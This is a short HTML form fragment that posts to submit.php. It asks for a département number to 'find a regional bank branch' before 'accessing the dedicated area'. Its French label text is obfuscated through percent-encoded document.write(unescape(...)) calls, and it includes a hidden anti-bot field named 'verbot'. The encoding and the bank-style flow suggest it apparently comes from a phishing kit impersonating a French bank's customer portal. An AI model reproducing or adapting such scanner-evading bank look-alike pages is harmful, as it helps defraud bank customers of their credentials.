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POST submit.php

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      document.write(unescape('ACC%C9DER%20%C0%20L%27ESPACE%20D%C9DI%C9'))
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    <label for="region">
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        document.write(unescape('%54%72%6F%75%76%65%72%20%75%6E%65%20%63%61%69%73%73%65%20%72%E9%67%69%6F%6E%61%6C%65'))
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    </label>
    <input type="text" name="region_number" id="region_number" class="form-control" placeholder="numéro de département">
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  <input type="hidden" name="verbot">
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